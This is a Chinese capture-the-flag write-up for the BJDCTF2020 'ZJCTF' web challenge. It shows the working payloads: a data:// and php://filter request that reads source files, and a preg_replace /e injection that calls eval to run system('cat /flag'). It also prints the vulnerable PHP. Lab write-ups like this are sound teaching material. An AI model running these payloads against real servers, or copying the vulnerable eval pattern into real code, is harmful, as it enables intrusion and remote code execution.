zoukankan      html  css  js  c++  java
  • [BJDCTF2020]ZJCTF,不过如此 (preg_replace /e 模式下的代码漏洞问题)

    写在前边

      越来越感觉自己是酸菜鱼。。。全是知识盲区啊

      题目在BUU上有复现

    解题

      直接给出源码

       简单分析一下,$text要等于I have a dream,因为这里有===,所以用text/plain纯文本形式传入,包含了$file,没做过滤,可以用伪协议读取next.php

    playload:

    ?text=data://text/plain,I%20have%20a%20dream&file=php://filter/convert.base64-encode/resource=next.php

     base64解密一下,得到next.php源码

    <?php
    $id = $_GET['id'];
    $_SESSION['id'] = $id;
    
    function complex($re, $str) {
        return preg_replace(
            '/(' . $re . ')/ei',
            'strtolower("\1")',
            $str
        );
    }
    
    
    foreach($_GET as $re => $str) {
        echo complex($re, $str). "
    ";
    }
    
    function getFlag(){
        @eval($_GET['cmd']);
    }

      分析一下,注意 return preg_replace('/(' . $re . ')/ei','strtolower("\1")',$str);具体分析 http://www.xinyueseo.com/websecurity/158.html

      源码中有个getFlag(),可以利用

    next.php?S*=${getFlag()}&cmd=system('cat /flag');

    参考链接

      https://blog.csdn.net/weixin_44348894/article/details/105870899

  • 相关阅读:
    前端UI框架
    Knowledge
    Microsoft SQL Server
    ASP.NET MVC
    将博客搬至CSDN
    python中的数据类型
    python基础知识
    接口和抽象类的区别
    面向对象的四大特征
    数据结构学习笔记
  • 原文地址:https://www.cnblogs.com/Lee-404/p/12828694.html
Copyright © 2011-2022 走看看